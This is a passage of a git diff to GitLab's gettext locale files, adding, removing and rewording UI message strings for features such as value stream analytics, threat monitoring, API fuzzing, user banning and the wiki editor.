-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32515,9 +32694,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32536,10 +32712,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32554,9 +32730,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32587,9 +32760,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32731,9 +32901,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -32929,6 +33096,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33058,6 +33228,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33184,7 +33357,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -33511,9 +33684,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33592,9 +33762,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33625,12 +33792,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33986,9 +34147,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -34142,7 +34300,7 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "TopNav|Switch to..."
+msgid "TopNav|Go back"
msgstr ""
msgid "Topics (optional)"
@@ -34570,6 +34728,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34765,21 +34926,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -34813,6 +34959,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -35251,9 +35400,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35296,6 +35451,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35416,27 +35574,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35593,6 +35769,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35752,9 +35931,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -35858,9 +36034,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -35963,7 +36136,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36104,7 +36280,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36272,9 +36448,6 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
@@ -36323,9 +36496,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36395,9 +36565,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36554,6 +36721,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36754,7 +36924,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -36775,6 +36945,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -36790,16 +36963,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -36814,10 +36987,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37126,9 +37305,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37306,6 +37482,9 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
+msgid "You have insufficient permissions to configure escalation policies for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
@@ -37540,12 +37719,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37573,18 +37746,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37597,12 +37764,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37672,12 +37833,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37762,6 +37929,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -37771,6 +37941,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -37863,6 +38036,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -37923,9 +38099,15 @@ msgstr ""
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -37968,9 +38150,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38273,6 +38452,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38436,9 +38618,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -38728,9 +38907,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38800,9 +38976,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38818,6 +38991,9 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
@@ -38827,6 +39003,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38863,9 +39042,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39007,7 +39183,7 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39353,6 +39529,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39455,6 +39634,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/gl_ES/gitlab.po b/locale/gl_ES/gitlab.po
index 19454ed9a9a..3d0d9726e37 100644
--- a/locale/gl_ES/gitlab.po
+++ b/locale/gl_ES/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: gl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:10\n"
+"PO-Revision-Date: 2021-06-01 20:20\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d capa"
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
